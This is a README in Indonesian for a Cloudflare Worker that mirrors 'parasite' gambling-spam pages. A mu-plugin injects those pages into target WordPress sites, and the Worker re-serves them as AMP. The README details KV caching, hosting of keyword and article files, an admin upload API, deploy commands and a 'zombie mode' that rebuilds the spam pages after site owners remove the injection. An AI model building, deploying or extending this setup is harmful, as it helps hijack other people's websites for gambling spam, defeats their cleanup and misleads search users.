# Parasite AMP Host — Cloudflare Workers

Menyajikan halaman AMP untuk halaman parasite WordPress, isi 100% sinkron
dengan hasil render mu-plugin parasite. AMP di domain terpisah (Workers),
bukan di domain parasite.

## Kenapa Workers (bukan Pages.dev)

- Halaman AMP harus MATCH dengan parasite (title/H1/paragraf). Kalau
  static HTML, mudah out-of-sync saat parasite berubah.
- Worker tidak menyimpan HTML; dia SYNC pull dari parasite dan cache ke KV.
- Parasite down -> KV stale tetap serve + Google AMP cache menahan lebih lama.

## Prinsip sync (anti-drift)

Worker TIDAK menghitung ulang brand-mix. Worker fetch halaman parasite
(HTML yang sudah di-inject mu-plugin), ekstrak marker data-lp-*:
  data-lp-meta (headline), data-lp-h1, data-lp-body (paragraf), data-lp-listkw (mesh)
Title/deskripsi AMP = PERSIS parasite karena sumbernya HTML yang sama.
Kalau halaman parasite tidak punya marker (mu-plugin mati) -> tidak ada AMP.

## Routing

    GET /{parasite-host}{path}   -> AMP halaman parasite
       https://ampsafe.workers.dev/domaintarget.com/wersalki/
    GET /_health                 -> status worker
    GET /_refresh?host=&path=&token=  -> paksa sync ulang (ADMIN_TOKEN secret)

Mu-plugin parasite inject otomatis:
    <link rel="amphtml" href="https://{amp_host}/{parasite-host}{path}/">
Set amp_host di config.json parasite (atau PS_CDN config). Contoh value:
    "amp_host": "ampsafe.example.workers.dev"

## Data di Workers

Workers = single source of truth untuk data parasite. Tiga jenis data di KV:

1. CDN RAW: `cdn:{filename}` — file data parasite yang disimpan VERBATIM
   dan diserve via HTTP:
     GET https://amp-host/cdn/keywords.txt
     GET https://amp-host/cdn/taglines.txt
     GET https://amp-host/cdn/articles.tpl
     GET https://amp-host/cdn/config.json
     GET https://amp-host/cdn/pages.txt
   Mu-plugin di-set:
     define('PS_CDN_BASE_URL', 'https://amp-host/cdn/');
   Whitelist 5 file itu saja. Validasi upload paralel dengan is_safe_payload()
   mu-plugin (tolak <?php/<?=, script/iframe, max 2MB, config.json harus valid JSON).

2. Cache halaman: `amp:{host}:{path}` -> JSON hasil extract
   { canonical, headline, h1, brand, postId, origTitle, origSlug, paragraphs, anchors, syncedAt }
   Meta sync-key (postId/origTitle/origSlug) dipasang mu-plugin via
   <meta data-lp-synckey="1" ...> dan ikut tersimpan.

3. DATA MIRROR (zombie mode): `data:keywords`, `data:taglines`, `data:articles`
   Parsed copy dari cdn:* raw yang sama. Zombie mode: saat parasite mati
   permanen + cache stale, Worker menghitung ulang halaman 100% identik
   dari mirror + sync-key (algoritma brand-mix, template rotation, seeded
   shuffle LCG identik dengan PHP — BigInt agar shuffle exact match).

   Urutan serve: fresh sync -> stale cache -> zombie reconstruction -> 404

## Admin API (Bearer ADMIN_TOKEN)

Upload/replace file data:
  POST /_admin/put-data
  { "files": { "keywords.txt": "empire88\ngoto77\n...", "taglines.txt": "..." } }

Re-parse raw -> mirror zombie:
  POST /_admin/sync-data
  (jalankan SETIAP KALI setelah put-data; mirror TTL 7 hari)

Force refresh satu halaman:
  GET  /_refresh?host=domaintarget.com&path=/wersalki&token=...  (auth lama, gunakan Bearer)

Status:
  GET  /_health  -> dataMirror + cdn file availability

Alur update data parasite:
  put-data (upload) -> sync-data (mirror) -> tunggu mu-plugin cache TTL 3600
  habis -> parasite render pakai keyword/tagline/artikel baru otomatis.

## Deploy

    # 1. buat KV namespace
    npx wrangler kv namespace create AMP_CACHE
    # salin id -> wrangler.toml [[kv_namespaces]]

    # 2. set secret admin token
    npx wrangler secret put ADMIN_TOKEN

    # 3. deploy
    npx wrangler deploy

    # 4. optional: custom domain via CF dashboard (route workers -> ampsafe.com)

## Test (lokal, tanpa deploy)

    node test-sync.mjs
Test merender parasite via mu-plugin PHP harness, ekstrak via lib.js,
lalu verifikasi 17 assertion: match title/H1/paragraf/canonical,
valid AMP (no custom script), amphtml routing, escape hostile content.

## Var (wrangler.toml [vars])

    DEFAULT_PARASITE   : (tidak dipakai langsung, dokumentasi)
    CTA_TARGET         : URL tujuan tombol "Daftar Sekarang"
    SYNC_TTL           : TTL cache sync (detik, default 86400)
    SERVE_STALE        : "true" = parasite down tetap serve cache KV

## Catatan operasional

- Google AMP cache mengambil halaman dari AMP host; parasite down tidak
  mempengaruhi halaman AMP yang sudah ter-cache Google (refresh Google
  akan gagal setelah beberapa hari — cache stale lama-lama didrop).
- Related links di AMP diroute via AMP host (amp.safe/domaintarget.com/...)
  supaya saat parasite down, navigasi internal tetap jalan via KV cache.
- Worker otomatis membuat AMP hanya untuk halaman yang benar-benar
  ter-inject (ada marker). Halaman bersih -> 404 dari AMP host.
- ADMIN_TOKEN: secret. /_refresh tanpa token -> 403.